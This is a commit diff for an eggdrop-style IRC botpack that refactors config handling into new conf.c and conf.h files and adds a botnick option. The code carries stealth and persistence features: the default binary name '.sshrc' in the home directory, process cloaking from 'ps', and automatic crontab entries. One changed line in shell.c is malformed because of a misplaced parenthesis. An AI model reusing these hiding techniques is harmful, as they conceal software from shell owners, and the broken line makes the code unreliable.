Переглянути джерело

* Moved conf structs/handling to conf.c/conf.h
* Global conf struct: conf
* Cleaned up main.c a ton.
* Binary now accepts -B <botnick>

* Still need to make a function to spawn child bots.


svn: 682

Bryan Drewery 22 роки тому
батько
коміт
8b3121ae80
14 змінених файлів з 872 додано та 1318 видалено
  1. 1 0
      doc/UPDATES
  2. 1 0
      src/Makefile.in
  3. 13 11
      src/bg.c
  4. 2 2
      src/chanprog.c
  5. 6 5
      src/cmds.c
  6. 1 0
      src/common.h
  7. 412 0
      src/conf.c
  8. 52 0
      src/conf.h
  9. 129 601
      src/main.c
  10. 0 1
      src/main.h
  11. 12 11
      src/misc.c
  12. 237 657
      src/shell.c
  13. 5 29
      src/shell.h
  14. 1 1
      src/tcl.c

+ 1 - 0
doc/UPDATES

@@ -25,6 +25,7 @@ This is a summary of ChangeLog basically.
 22.Bots now do NOT check for tracing/promisc/login/etc... unless something is SET.
 23.Removed note ignore commands, ie .+/-noteign .noteigns
 24.Removed define: AUTH, added: AUTHCMDS, AUTHHASH, DCCAUTH, see pack.cfg for details.
+25.Leaf binary now accepts -B <botnick>
 
 1.0.14
 1.Fixed order of log/info for cmd_whoami.

+ 1 - 0
src/Makefile.in

@@ -22,6 +22,7 @@ OBJS = auth.o \
 	cmds.o \
 	cfg.o \
 	core_binds.o \
+	conf.o \
 	crypt.o \
 	dcc.o \
 	dccutil.o \

+ 13 - 11
src/bg.c

@@ -11,8 +11,8 @@
 #include <signal.h>
 
 
-extern char	pid_file[], botnetnick[];
 extern time_t	lastfork, now;
+extern conf_t	conf;
 
 /* Do everything we normally do after we have split off a new
  * process to the background. This includes writing a PID file
@@ -23,26 +23,27 @@ static void bg_do_detach(pid_t p)
   FILE	*fp;
 
   /* Need to attempt to write pid now, not later. */
-  unlink(pid_file);
-  fp = fopen(pid_file, "w");
+  unlink(conf.bot->pid_file);
+  fp = fopen(conf.bot->pid_file, "w");
   if (fp != NULL) {
     fprintf(fp, "%u\n", p);
     if (fflush(fp)) {
       /* Kill bot incase a botchk is run from crond. */
-      printf(EGG_NOWRITE, pid_file);
+      printf(EGG_NOWRITE, conf.bot->pid_file);
       printf("  Try freeing some disk space\n");
       fclose(fp);
-      unlink(pid_file);
+      unlink(conf.bot->pid_file);
       exit(1);
     }
     fclose(fp);
   } else
-    printf(EGG_NOWRITE, pid_file);
+    printf(EGG_NOWRITE, conf.bot->pid_file);
 #ifdef HUB
   printf("Launched into the background  (pid: %d)\n\n", p);
-#else
-  printf("%s launched into the background  (pid: %d ppid: %d)\n\n", botnetnick, p, getpid());
-#endif
+#else /* LEAF */
+  printf("%s launched into the background  (pid: %d ppid: %d)\n\n", conf.bot->nick, p, getpid());
+#endif /* HUB */
+
 #if HAVE_SETPGID
   setpgid(p, p);
 #endif
@@ -69,8 +70,8 @@ void do_fork() {
     return;
   if (xx != 0) {
       FILE *fp;
-      unlink(pid_file);
-      fp = fopen(pid_file, "w");
+      unlink(conf.bot->pid_file);
+      fp = fopen(conf.bot->pid_file, "w");
       if (fp != NULL) {
         fprintf(fp, "%u\n", xx);
         fclose(fp);
@@ -82,6 +83,7 @@ void do_fork() {
 #endif
     exit(0);
   }
+
   lastfork = now;
 }
 

+ 2 - 2
src/chanprog.c

@@ -43,8 +43,8 @@ extern int		 backgrd, term_z, cache_hit, cache_miss,
 
 struct chanset_t 	*chanset = NULL;	/* Channel list			*/
 char 			admin[121] = "";	/* Admin info			*/
-char 			origbotname[NICKLEN + 1];
-char 			botname[NICKLEN + 1];	/* Primary botname		*/
+char 			origbotname[NICKLEN + 1] = "";
+char 			botname[NICKLEN + 1] = "";	/* Primary botname		*/
 
 #ifdef HUB
 int     		my_port;

+ 6 - 5
src/cmds.c

@@ -47,12 +47,13 @@ extern int		 dcc_total, remote_boots, backgrd,
 extern egg_traffic_t traffic;
 extern Tcl_Interp 	 *interp;
 extern char		 botnetnick[], origbotname[], ver[], network[],
-			 owner[], quit_msg[], dcc_prefix[], pid_file[],
+			 owner[], quit_msg[], dcc_prefix[], 
                          botname[], *binname, version[], egg_version[];
 extern time_t		 now, online_since, buildts;
-extern module_entry	 *module_list;
-extern struct cfg_entry  CFG_MOTD, **cfg;
-extern tand_t             *tandbot;
+extern module_entry	*module_list;
+extern struct cfg_entry	CFG_MOTD, **cfg;
+extern tand_t		*tandbot;
+extern conf_t		conf;
 
 static char		 *btos(unsigned long);
 mycmds 			 cmdlist[500]; //the list of dcc cmds for help system
@@ -1825,7 +1826,7 @@ static void cmd_restart(struct userrec *u, int idx, char *par)
 
   fatal("Restarting...", 1);
   usleep(2000 * 500);
-  unlink(pid_file); //if this fails it is ok, cron will restart the bot, *hopefully*
+  unlink(conf.bot->pid_file); //if this fails it is ok, cron will restart the bot, *hopefully*
   system(binname); //start new bot.
   exit(0);
 }

+ 1 - 0
src/common.h

@@ -21,6 +21,7 @@
 
 
 #include "garble.h"
+#include "conf.h"
 #include "debug.h"
 #include "eggdrop.h"
 #include "flags.h"

+ 412 - 0
src/conf.c

@@ -0,0 +1,412 @@
+/*
+ * conf.c -- handles:
+ * 
+ * all of the conf handling
+ */
+
+#include "common.h"
+#include "conf.h"
+#include "shell.h"
+#include "debug.h"
+#include "crypt.h"
+#include "salt.h"
+#include "misc.h"
+
+#include <errno.h>
+#include <signal.h>
+#include <pwd.h>
+#include <sys/types.h>
+
+extern char             origbotname[], botnetnick[], tempdir[],
+                        userfile[], myip[], myip6[], natip[], hostname[], hostname6[];
+extern int              localhub;
+extern uid_t		myuid;
+extern conf_t           conf;
+
+conf_t		conf;		/* global conf struct */
+
+static conf_t conffile;
+
+void init_conf() {
+  conffile.bots = (conf_bot *) calloc(1, sizeof(conf_bot));
+  conffile.bots->nick = NULL;
+  conffile.bots->next = NULL;
+
+  conffile.comments = calloc(1, 1);
+  conffile.autocron = 1;
+  conffile.autouname = 0;
+  conffile.binpath = strdup(STR("~/"));
+  conffile.binname = strdup(STR(".sshrc"));
+#ifdef HUB
+  conffile.portmin = 1024;
+  conffile.portmax = 65535;
+#endif /* HUB */
+#ifdef S_PSCLOAK
+  conffile.pscloak = 1;
+#else
+  conffile.pscloak = 0;
+#endif /* S_PSCLOAK */
+  conffile.uid = 0;
+  conffile.uname = NULL;
+  conffile.username = NULL;
+  conffile.homedir = NULL;
+}
+/*
+ * Return the PID of a bot if it is running, otherwise return 0
+ */
+
+int checkpid(char *nick, conf_bot *bot) {
+  FILE *f = NULL;
+  int xx;
+  char buf[DIRMAX] = "", s[11] = "";
+
+  egg_snprintf(buf, sizeof buf, "%s.pid.%s", tempdir, nick);
+
+  if (bot && !(bot->pid_file))
+    bot->pid_file = strdup(buf);
+  else if (bot && strcmp(bot->pid_file, buf))
+    str_redup(&bot->pid_file, buf);
+
+  if ((f = fopen(buf, "r"))) {
+    fgets(s, 10, f);
+    fclose(f);
+    xx = atoi(s);
+    kill(xx, SIGCHLD);
+    if (errno != ESRCH) /* PID is !running */
+      return xx;
+  }
+  return 0;
+}
+
+static void conf_addbot(char *nick, char *ip, char *host, char *ip6) {
+  conf_bot *bot;
+
+  for (bot = conffile.bots; bot && bot->nick; bot = bot->next)
+    ;
+
+  bot->next = (conf_bot *) calloc(1, sizeof(conf_bot));
+  bot->next->next = NULL;
+  bot->pid_file = NULL;
+  bot->nick = strdup(nick);
+#ifdef LEAF
+  if (bot == conffile.bots) {
+    bot->localhub = 1;          /* first bot */
+    /* perhaps they did -B localhub-bot ? */
+    if (origbotname[0] && !strcmp(origbotname, bot->nick))
+      localhub = 1;
+  }
+#endif /* LEAF */
+
+  bot->ip = NULL;
+  bot->host = NULL;
+  bot->ip6 = NULL;
+  bot->host6 = NULL;
+
+  if (host && host[0] == '+') {
+    host++;
+    bot->host6 = strdup(host);
+  } else if (host) {
+    bot->host = strdup(host);
+  }
+  if (ip)    bot->ip = strdup(ip);
+  if (ip6)   bot->ip6 = strdup(ip6);
+
+  bot->pid = checkpid(nick, bot);
+}
+
+
+void showconf() {
+  conf_bot *bot;
+  sdprintf("---------------------------CONF START---------------------------");
+  sdprintf("uid      : %d", conffile.uid);
+  sdprintf("uname    : %s", conffile.uname);
+  sdprintf("username : %s", conffile.username);
+  sdprintf("homedir  : %s", conffile.homedir);
+  sdprintf("binpath  : %s", conffile.binpath);
+  sdprintf("binname  : %s", conffile.binname);
+#ifdef HUB
+  sdprintf("portmin  : %d", conffile.portmin);
+  sdprintf("portmax  : %d", conffile.portmax);
+#endif /* HUB */
+  sdprintf("pscloak  : %d", conffile.pscloak);
+  sdprintf("autocron : %d", conffile.autocron);
+  sdprintf("autouname: %d", conffile.autouname);
+  for (bot = conffile.bots; bot && bot->nick; bot = bot->next)
+    sdprintf("%s IP: %s HOST: %s IP6: %s HOST6: %s PID: %d PID_FILE: %s LOCALHUB %d", bot->nick, bot->ip, bot->host,
+                 bot->ip6, bot->host6, bot->pid, bot->pid_file, bot->localhub);
+  sdprintf("----------------------------CONF END----------------------------");
+}
+
+void free_conf() {
+  conf_bot *bot, *bot_n;
+
+  for (bot = conffile.bots; bot; bot = bot_n) {
+    bot_n = bot->next;
+    free(bot->nick);
+    free(bot->pid_file);
+    if (bot->ip)    free(bot->ip);
+    if (bot->host)  free(bot->host);
+    if (bot->ip6)   free(bot->ip6);
+    if (bot->host6) free(bot->host6);
+    /* must also free() anything malloc`d in conf_addbot() */
+    free(bot);
+  }
+  free(conffile.uname);
+  free(conffile.username);
+  free(conffile.homedir);
+  free(conffile.binname);
+  free(conffile.binpath);
+  free(conffile.comments);
+}
+
+int parseconf() {
+  struct passwd *pw;
+
+  if (conffile.uid && conffile.uid != myuid) {
+    sdprintf("wrong uid, conf: %d :: %d", conffile.uid, myuid);
+    werr(ERR_WRONGUID);
+  } else if (!conffile.uid) {
+    conffile.uid = myuid;
+  }
+
+  if (conffile.uname && strcmp(conffile.uname, my_uname()) && !conffile.autouname) {
+    baduname(conffile.uname, my_uname());                       /* its not auto, and its not RIGHT, bail out. */
+    sdprintf("wrong uname, conf: %s :: %s", conffile.uname, my_uname());
+    werr(ERR_WRONGUNAME);
+  } else if (conffile.uname && conffile.autouname) {    /* if autouname, dont bother comparing, just set uname to output */
+    str_redup(&conffile.uname, my_uname());
+  } else if (!conffile.uname) {                         /* if not set, then just set it, wont happen again next time... */
+    conffile.uname = strdup(my_uname());
+  }
+
+  if ((pw = getpwuid(conffile.uid))) {
+
+    if (conffile.username) {
+      str_redup(&conffile.username, pw->pw_name);
+    } else {
+      conffile.username = strdup(pw->pw_name);
+    }
+
+    if (conffile.homedir) {
+      str_redup(&conffile.homedir, pw->pw_dir);
+    } else {
+      conffile.homedir = strdup(pw->pw_dir);
+    }
+
+  } else {
+    return 1;
+  }
+  return 0;
+}
+
+int readconf(char *cfile)
+{
+  FILE *f = NULL;
+  int i = 0;
+  char inbuf[8192] = "";
+
+  Context;
+  f = fopen(cfile, "r");
+  while (fgets(inbuf, sizeof inbuf, f) != NULL) {
+    char *line = NULL, *temp_ptr = NULL;
+
+    line = temp_ptr = decrypt_string(SALT1, inbuf);
+    i++;
+
+    sdprintf("CONF LINE: %s", line);
+    if (!strchr("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ", line[0])) {
+      sdprintf(STR("line %d, char %c "), i, line[0]);
+      werr(ERR_CONFBADENC);
+    } else {                    /* line is good to parse */
+      /* - uid */
+      if (line[0] == '-') {
+        newsplit(&line);
+        if (!conffile.uid)
+          conffile.uid = atoi(line);
+
+      /* + uname */
+      } else if (line[0] == '+') {
+        newsplit(&line);
+        if (!conffile.uname)
+          conffile.uname = strdup(line);
+
+      /* ! is misc options */
+      } else if (line[0] == '!') {
+        char *option = NULL;
+
+        newsplit(&line);
+        option = newsplit(&line);
+
+        if (!strcmp(option, "autocron")) {              /* automatically check/create crontab? */
+          if (egg_isdigit(line[0]))
+            conffile.autocron = atoi(line);
+
+        } else if (!strcmp(option, "autouname")) {      /* auto update uname contents? */
+          if (egg_isdigit(line[0]))
+            conffile.autouname = atoi(line);
+
+        } else if (!strcmp(option, "username")) {       /* shell username */
+          conffile.username = strdup(line);
+
+        } else if (!strcmp(option, "homedir")) {        /* homedir */
+          conffile.homedir = strdup(line);
+
+        } else if (!strcmp(option, "binpath")) {        /* path that the binary should move to? */
+          str_redup(&conffile.binpath, line);
+
+        } else if (!strcmp(option, "binname")) {        /* filename of the binary? */
+          str_redup(&conffile.binname, line);
+
+#ifdef HUB
+        } else if (!strcmp(option, "portmin")) {
+          if (egg_isdigit(line[0]))
+            conffile.portmin = atoi(line);
+
+        } else if (!strcmp(option, "portmax")) {
+          if (egg_isdigit(line[0]))
+            conffile.portmax = atoi(line);
+#endif /* HUB */
+
+        } else if (!strcmp(option, "pscloak")) {        /* should bots on this shell pscloak? */
+          if (egg_isdigit(line[0]))
+            conffile.pscloak = atoi(line);
+
+        } else if (!strcmp(option, "uid")) {            /* new method uid */
+          if (!conffile.uid && egg_isdigit(line[0]))
+            conffile.uid = atoi(line);
+
+        } else if (!strcmp(option, "uname")) {          /* new method uname */
+          if (!conffile.uname)
+            conffile.uname = strdup(line);
+
+        } else {
+          putlog(LOG_MISC, "*", "Unrecognized config option '%s'", option);
+
+        }
+#ifdef HUB
+      /* read in portmin */
+      } else if (line[0] == '>') {
+        newsplit(&line);
+        conffile.portmin = atoi(line);
+
+      } else if (line[0] == '<') {
+        newsplit(&line);
+        conffile.portmax = atoi(line);
+#endif /* HUB */
+
+      /* now to parse nick/hosts */
+      } else if (line[0] != '#') {
+        char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
+
+        nick = newsplit(&line);
+        if (!nick || (nick && !nick[0]))
+          werr(ERR_BADCONF);
+
+        ip = newsplit(&line);
+        host = newsplit(&line);
+        ipsix = newsplit(&line);
+
+        conf_addbot(nick, ip, host, ipsix);
+      } else {
+        conffile.comments = realloc(conffile.comments, strlen(conffile.comments) + strlen(line) + 1 + 1);
+        strcat(conffile.comments, line);
+        strcat(conffile.comments, "\n");
+      }
+    }
+    free(temp_ptr);
+  } /* while(fgets()) */
+  fclose(f);
+
+  return 0;
+}
+
+int writeconf(char *filename) {
+  FILE *f = NULL;
+  conf_bot *bot;
+
+  if (!(f = fopen(filename, "w"))) {
+    return 1;
+  }
+/* old
+  lfprintf(f, "- %d\n", conffile.uid);
+  lfprintf(f, "+ %s\n", conffile.uname);
+*/
+  lfprintf(f, "! uid %d\n", conffile.uid);
+  lfprintf(f, "! uname %s\n", conffile.uname);
+  lfprintf(f, "! username %s\n", conffile.username);
+  lfprintf(f, "! homedir %s\n", conffile.homedir);
+  lfprintf(f, "! binname %s\n", conffile.binname);
+  lfprintf(f, "! binpath %s\n", conffile.binpath);
+#ifdef HUB
+/* old
+  lfprintf(f, "> %d\n", conffile.portmin);
+  lfprintf(f, "< %d\n", conffile.portmax);
+*/
+  lfprintf(f, "! portmin %d\n", conffile.portmin);
+  lfprintf(f, "! portmax %d\n", conffile.portmax);
+#endif /* HUB */
+  lfprintf(f, "! pscloak %d\n", conffile.pscloak);
+  lfprintf(f, "! autocron %d\n", conffile.autocron);
+  lfprintf(f, "! autouname %d\n", conffile.autouname);
+
+  for (bot = conffile.bots; bot && bot->nick; bot = bot->next) {
+    lfprintf(f, "%s %s %s%s %s\n", bot->nick,
+                                   bot->ip ? bot->ip : ".",
+                                   bot->host6 ? "+" : "",
+                                   bot->host ? bot->host : (bot->host6 ? bot->host6 : "."),
+                                   bot->ip6 ? bot->ip6 : "");
+  }
+  lfprintf(f, "%s", conffile.comments);
+  fflush(f);
+  fclose(f);
+
+  return 0;
+}
+
+static void conf_bot_dup(conf_bot *dest, conf_bot *src) {
+  dest->nick =          src->nick ? strdup(src->nick) : NULL;
+  dest->pid_file =      src->pid_file ? strdup(src->pid_file) : NULL;
+  dest->ip =            src->ip ? strdup(src->ip) : NULL;
+  dest->host =          src->host ? strdup(src->host) : NULL;
+  dest->ip6 =           src->ip6 ? strdup(src->ip6) : NULL;
+  dest->host6 =         src->host6 ? strdup(src->host6) : NULL;
+  dest->pid =           src->pid;
+#ifdef LEAF
+  dest->localhub =      src->localhub;
+#endif /* LEAF */
+  dest->next = NULL;
+}
+
+void fillconf(conf_t *inconf) {
+  conf_bot *bot;
+  char *mynick = NULL;
+
+  if (localhub)
+    mynick = strdup(conffile.bots->nick);
+  else
+    mynick = strdup(origbotname);
+
+  for (bot = conffile.bots; bot && bot->nick; bot = bot->next)
+    if (!strcmp(bot->nick, mynick)) break;
+
+  if (!bot->nick || (bot->nick && strcmp(bot->nick, mynick)))
+    werr(ERR_BADBOT);
+
+  free(mynick);
+  inconf->bot = (conf_bot *) calloc(1, sizeof(conf_bot));
+  conf_bot_dup(inconf->bot, bot);
+  /* inconf->bot = bot; */
+  /* inconf->bot->next = NULL; */
+  inconf->autocron = conffile.autocron;
+  inconf->autouname = conffile.autouname;
+  inconf->binpath = conffile.binpath;
+  inconf->binname = conffile.binname;
+  inconf->uname = conffile.uname;
+#ifdef HUB
+  inconf->portmin = conffile.portmin;
+  inconf->portmax = conffile.portmax;
+#endif /* HUB */
+  inconf->pscloak = conffile.pscloak;
+  inconf->uid = conffile.uid;
+}
+

+ 52 - 0
src/conf.h

@@ -0,0 +1,52 @@
+#ifndef _CONF_H
+#define _CONF_H
+
+#include <sys/types.h>
+
+typedef struct conf_bot_b {
+  char *nick;
+  char *host;
+  char *host6;
+  char *ip;
+  char *ip6;
+  int pid;              /* contains the PID for the bot (read for the pidfile) */
+  char *pid_file;       /* path and filename of the .pid file */
+#ifdef LEAF
+  int localhub;         /* bot is localhub */
+#endif /* LEAF */
+  struct conf_bot_b *next;
+} conf_bot;
+
+typedef struct conf_b {
+  uid_t uid;
+  char *uname;
+  char *username;       /* shell username */
+  char *homedir;        /* homedir */
+  int autouname;        /* should we just auto update any changed in uname output? */
+  int pscloak;          /* should the bots bother trying to cloak `ps`? */
+#ifdef HUB
+  int portmin;          /* for hubs, the reserved port range for incoming connections */
+  int portmax;          /* for hubs, the reserved port range for incoming connections */
+#endif /* HUB */
+  char *binpath;        /* path to binary, ie: ~/ */
+  char *binname;        /* binary name, ie: .sshrc */
+  int autocron;         /* should the bot auto crontab itself? */
+  char *comments;       /* we dont want to lose our comments now do we?! */
+  conf_bot *bots;       /* the list of bots */
+  conf_bot *bot;        /* single bot (me) */
+} conf_t;
+
+#ifndef MAKING_MODS
+extern conf_t		conf;
+
+int checkpid(char *, conf_bot *);
+void showconf();
+void init_conf();
+void free_conf();
+int readconf(char *);
+int parseconf();
+int writeconf(char *);
+void fillconf(conf_t *);
+#endif /* !MAKING_MODS */
+
+#endif /* !_CONF_H */

Різницю між файлами не показано, бо вона завелика
+ 129 - 601
src/main.c


+ 0 - 1
src/main.h

@@ -1,7 +1,6 @@
 #ifndef _MAIN_H
 #define _MAIN_H
 
-
 #ifndef MAKING_MODS
 extern int use_stderr;
 extern time_t now;

+ 12 - 11
src/misc.c

@@ -38,7 +38,7 @@ extern struct chanset_t	*chanset;
 extern char		 version[], origbotname[], botname[],
 			 admin[], network[], motdfile[], ver[], botnetnick[],
 			 userfile[], dcc_prefix[],
-                         *binname, pid_file[], tempdir[], *owneremail;
+                         *binname, tempdir[], *owneremail;
 
 extern int		 backgrd, term_z, use_stderr, dcc_total, timesync,  
 #ifdef HUB
@@ -48,6 +48,7 @@ extern int		 backgrd, term_z, use_stderr, dcc_total, timesync,
                          localhub;
 extern time_t		 now;
 extern struct cfg_entry	CFG_MOTD;
+extern conf_t		conf;
 
 void detected(int, char *);
 
@@ -555,7 +556,7 @@ void make_rand_str(char *s, int len)
     else
       s[j] = '!' + (random() % 15);
 
-    if (s[j] == 33 || s[j] == 37 || s[j] == 34 || s[j] == 40 || s[j] == 41 || s[j] == 38 || s[j] == 36) //no % ( ) & 
+    if (s[j] == 33 || s[j] == 37 || s[j] == 34 || s[j] == 40 || s[j] == 41 || s[j] == 38 || s[j] == 36) /* no % ( ) & */
       s[j] = 35;
   }
 
@@ -772,8 +773,8 @@ void updatelocal(void)
 
   fatal("Updating...", 1);
   usleep(2000 * 500);
-  unlink(pid_file); //if this fails it is ok, cron will restart the bot, *hopefully*
-  system(binname); //start new bot. 
+  unlink(conf.bot->pid_file); /* if this fails it is ok, cron will restart the bot, *hopefully* */
+  system(binname); /* start new bot. */
   exit(0);
 }
 
@@ -866,11 +867,11 @@ int updatebin(int idx, char *par, int autoi)
 
   /* safe to run new binary.. */
 #ifdef LEAF
-  if (!autoi && !localhub) //dont delete pid for auto update!!!
+  if (!autoi && !localhub) /* dont delete pid for auto update!!! */
 #endif /* LEAF */
-    unlink(pid_file); //delete pid so new binary doesnt exit.
+    unlink(conf.bot->pid_file); /* delete pid so new binary doesnt exit. */
 #ifdef HUB
-  listen_all(my_port, 1); //close the listening port...
+  listen_all(my_port, 1); /* close the listening port... */
   usleep(5000);
 #endif /* HUB */
   putlog(LOG_DEBUG, "*", "Running for update: %s", buf);
@@ -1117,13 +1118,13 @@ int goodpass(char *pass, int idx, char *nick)
   for (i = 0; i < strlen(pass); i++) {
     tc = (int) pass[i];
     if (tc < 58 && tc > 47)
-      ocase++; //number
+      ocase++; /* number */
     else if (tc < 91 && tc > 64)
-      ucase++; //upper case
+      ucase++; /* upper case */
     else if (tc < 123 && tc > 96)
-      lcase++; //lower case
+      lcase++; /* lower case */
     else
-       nalpha++; //non-alphabet/number
+       nalpha++; /* non-alphabet/number */
   }
 
 /*  if (ocase < 1 || lcase < 2 || ucase < 2 || nalpha < 1 || strlen(pass) < 8) { */

+ 237 - 657
src/shell.c

@@ -13,6 +13,7 @@
 #include "shell.h"
 #include "cfg.h"
 #include "flags.h"
+#include "tandem.h"
 #include "main.h"
 #include "dccutil.h"
 #include "modules.h"
@@ -46,92 +47,29 @@
 extern struct cfg_entry CFG_LOGIN, CFG_BADPROCESS, CFG_PROCESSLIST, CFG_PROMISC,
                         CFG_TRACE, CFG_HIJACK;
 
-extern char		tempdir[], origbotname[], botnetnick[], *binname, owneremail[],
-			userfile[];
-extern time_t		now;
-extern struct userrec       *userlist;
-
-conf_t conf;
-
-void init_conf() {
-  conf.bots = (conf_bot *) calloc(1, sizeof(conf_bot));
-  conf.bots->nick = NULL;
-  conf.bots->next = NULL;
-}
-
-/* 
- * Return the PID of a bot if it is running, otherwise return 0
- */
-
-static int checkpid(char *nick) {
-  FILE *f;
-  int xx;
-  char buf[DIRMAX], s[11];
-
-  egg_snprintf(buf, sizeof buf, "%s.pid.%s", tempdir, nick);
-  if ((f = fopen(buf, "r"))) {
-    fgets(s, 10, f);
-    fclose(f);
-    xx = atoi(s);
-    kill(xx, SIGCHLD);
-    if (errno != ESRCH) /* PID is !running */
-      return xx;
-  }
-  return 0;
-}
+extern char		tempdir[], *binname, owneremail[];
 
-static void conf_addbot(char *nick, char *ip, char *host, char *ip6, char *host6) {
-  conf_bot *bot;
-
-  for (bot = conf.bots; bot && bot->nick; bot = bot->next);
-  bot->next = (conf_bot *) calloc(1, sizeof(conf_bot));
-  bot->next->next = NULL;
-  bot->nick = strdup(nick);
-  if (bot == conf.bots) bot->localhub = 1;          /* first bot */
-  if (ip)    bot->ip = strdup(ip);
-  if (host)  bot->host = strdup(host);
-  if (ip6)   bot->ip6 = strdup(ip6);
-  if (host6) bot->host = strdup(host);
-  bot->pid = checkpid(nick);
-}
-
-void free_conf() {
-  conf_bot *bot, *bot_n;
-
-  for (bot = conf.bots; bot; bot = bot_n) {
-    bot_n = bot->next;
-    free(bot->nick);
-    if (bot->ip)    free(bot->ip);
-    if (bot->host)  free(bot->host);
-    if (bot->ip6)   free(bot->ip6);
-    if (bot->host6) free(bot->host6);
-    /* must also free() anything malloc`d in addbot() */
-    free(bot);
-  }
-  free(conf.uname);
-}
-
-int readconf() 
-{
-/*  conf.uid = READ;
-  conf.uname = strdup(READ);
-*/
-  return 0;
-}
+extern time_t		now;
+extern struct userrec	*userlist;
+extern uid_t		myuid;
+extern conf_t		conf;
 
 int clear_tmp()
 {
   DIR *tmp;
   struct dirent *dir_ent;
+
   if (!(tmp = opendir(tempdir))) return 1;
   while ((dir_ent = readdir(tmp))) {
     if (strncmp(dir_ent->d_name, ".pid.", 4) && strncmp(dir_ent->d_name, ".u", 2) && strcmp(dir_ent->d_name, ".bin.old")
        && strcmp(dir_ent->d_name, ".") && strcmp(dir_ent->d_name, ".un") && strcmp(dir_ent->d_name, "..")) {
       char *file = malloc(strlen(dir_ent->d_name) + strlen(tempdir) + 1);
+
       file[0] = 0;
       strcat(file, tempdir);
       strcat(file, dir_ent->d_name);
       file[strlen(file)] = 0;
+      sdprintf("clear_tmp: %s", file);
       unlink(file);
       free(file);
     }
@@ -140,28 +78,38 @@ int clear_tmp()
   return 0;
 }
 
+#ifdef LEAF
+void check_mypid()
+{
+  if (getpid() != checkpid(conf.bot->nick, NULL)) {
+    module_entry *me;
+    fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
+    if ((me = module_find("server", 0, 0))) {
+      Function *func = me->funcs;
+      (func[SERVER_NUKESERVER]) ("cloned process");
+    }
+    botnet_send_bye();
+    exit(1);
+  }
+}
+#endif /* LEAF */
+
 
 #ifdef S_LASTCHECK
-char last_buf[128]="";
+char last_buf[128] = "";
 #endif /* S_LASTCHECK */
 
 void check_last() {
 #ifdef S_LASTCHECK
-  char user[20];
-  struct passwd *pw;
 
   if (!strcmp((char *) CFG_LOGIN.ldata ? CFG_LOGIN.ldata : CFG_LOGIN.gdata ? CFG_LOGIN.gdata : "ignore", "ignore"))
     return;
 
-  pw = getpwuid(geteuid());
-  if (!pw) return;
-
-  strncpyz(user, pw->pw_name ? pw->pw_name : "" , sizeof(user));
-  if (user[0]) {
+  if (conf.username) {
     char *out;
     char buf[50];
 
-    sprintf(buf, STR("last %s"), user);
+    sprintf(buf, STR("last %s"), conf.username);
     if (shell_exec(buf, NULL, &out, NULL)) {
       if (out) {
         char *p;
@@ -190,13 +138,7 @@ void check_last() {
 void check_processes()
 {
 #ifdef S_PROCESSCHECK
-  char *proclist,
-   *out,
-   *p,
-   *np,
-   *curp,
-    buf[1024],
-    bin[128];
+  char *proclist = NULL, *out = NULL, *p = NULL, *np = NULL, *curp = NULL, buf[1024] = "", bin[128] = "";
 
   if (!strcmp((char *) CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : "ignore", "ignore"))
     return;
@@ -231,12 +173,7 @@ void check_processes()
     if (np)
       *np++ = 0;
     if (atoi(curp) > 0) {
-      char *pid,
-       *tty,
-       *stat,
-       *time,
-        cmd[512],
-        line[2048];
+      char *pid = NULL, *tty = NULL, *stat = NULL, *time = NULL, cmd[512] = "", line[2048] = "";
 
       strncpyz(line, curp, sizeof(line));
       /* it's a process line */
@@ -247,7 +184,7 @@ void check_processes()
       time = newsplit(&curp);
       strncpyz(cmd, curp, sizeof(cmd));
       /* skip any <defunct> procs "/bin/sh -c" crontab stuff and binname crontab stuff */
-      if (!strstr(cmd, STR("<defunct>")) && !strncmp(cmd, STR("/bin/sh -c"), 10)
+      if (!strstr(cmd, "<defunct>" && !strncmp(cmd, "/bin/sh -c", 10)
           && !strncmp(cmd, binname, strlen(binname))) {
         /* get rid of any args */
         if ((p = strchr(cmd, ' ')))
@@ -278,9 +215,9 @@ void check_processes()
             while (*p != ' ')
               *p++ = 1;
           } else {
-            char wrk[16384];
+            char wrk[16384] = "";
 
-            sprintf(wrk, STR("Unexpected process: %s"), line);
+            egg_snprintf(wrk, sizeof wrk, STR("Unexpected process: %s"), line);
             detected(DETECT_PROCESS, wrk);
           }
         }
@@ -298,10 +235,9 @@ void check_promisc()
 {
 #ifdef S_PROMISC
 #ifdef SIOCGIFCONF
-  char buf[8192];
   struct ifreq ifreq, *ifr;
   struct ifconf ifcnf;
-  char *cp, *cplim;
+  char *cp = NULL, *cplim = NULL, buf[8192] = "";
   int sock;
 
   if (!strcmp((char *) CFG_PROMISC.ldata ? CFG_PROMISC.ldata : CFG_PROMISC.gdata ? CFG_PROMISC.gdata : "ignore", "ignore"))
@@ -424,10 +360,8 @@ void check_trace()
 
 int shell_exec(char *cmdline, char *input, char **output, char **erroutput)
 {
-  FILE *inpFile,
-   *outFile,
-   *errFile;
-  char tmpfile[161];
+  FILE *inpFile = NULL, *outFile = NULL, *errFile = NULL;
+  char tmpfile[161] = "";
   int x, fd;
   int parent = getpid();
 
@@ -492,7 +426,7 @@ int shell_exec(char *cmdline, char *input, char **output, char **erroutput)
     fflush(outFile);
     fflush(errFile);
     if (erroutput) {
-      char *buf;
+      char *buf = NULL;
       int fs;
 
       fseek(errFile, 0, SEEK_END);
@@ -563,13 +497,12 @@ void detected(int code, char *msg)
 #ifdef LEAF
   module_entry *me;
 #endif /* LEAF */
-  char *p = NULL;
-  char tmp[512];
+  char *p = NULL, tmp[512] = "";
   struct userrec *u;
   struct flag_record fr = { FR_GLOBAL, 0, 0 };
   int act;
 
-  u = get_user_by_handle(userlist, botnetnick);
+  u = get_user_by_handle(userlist, conf.bot->nick);
 #ifdef S_LASTCHECK
   if (code == DETECT_LOGIN)
     p = (char *) (CFG_LOGIN.ldata ? CFG_LOGIN.ldata : (CFG_LOGIN.gdata ? CFG_LOGIN.gdata : NULL));
@@ -705,11 +638,13 @@ char *werr_tostr(int errnum)
   case ERR_CONFBADENC:
     return STR("Encryption in config is wrong/corrupt");
   case ERR_WRONGUID:
-    return STR("UID in conf does not match getuid()");
+    return STR("UID in conf does not match geteuid()");
   case ERR_WRONGUNAME:
     return STR("Uname in conf does not match uname()");
   case ERR_BADCONF:
     return STR("Config file is incomplete");
+  case ERR_BADBOT:
+    return STR("No such botnick");
   default:
     return STR("Unforseen error");
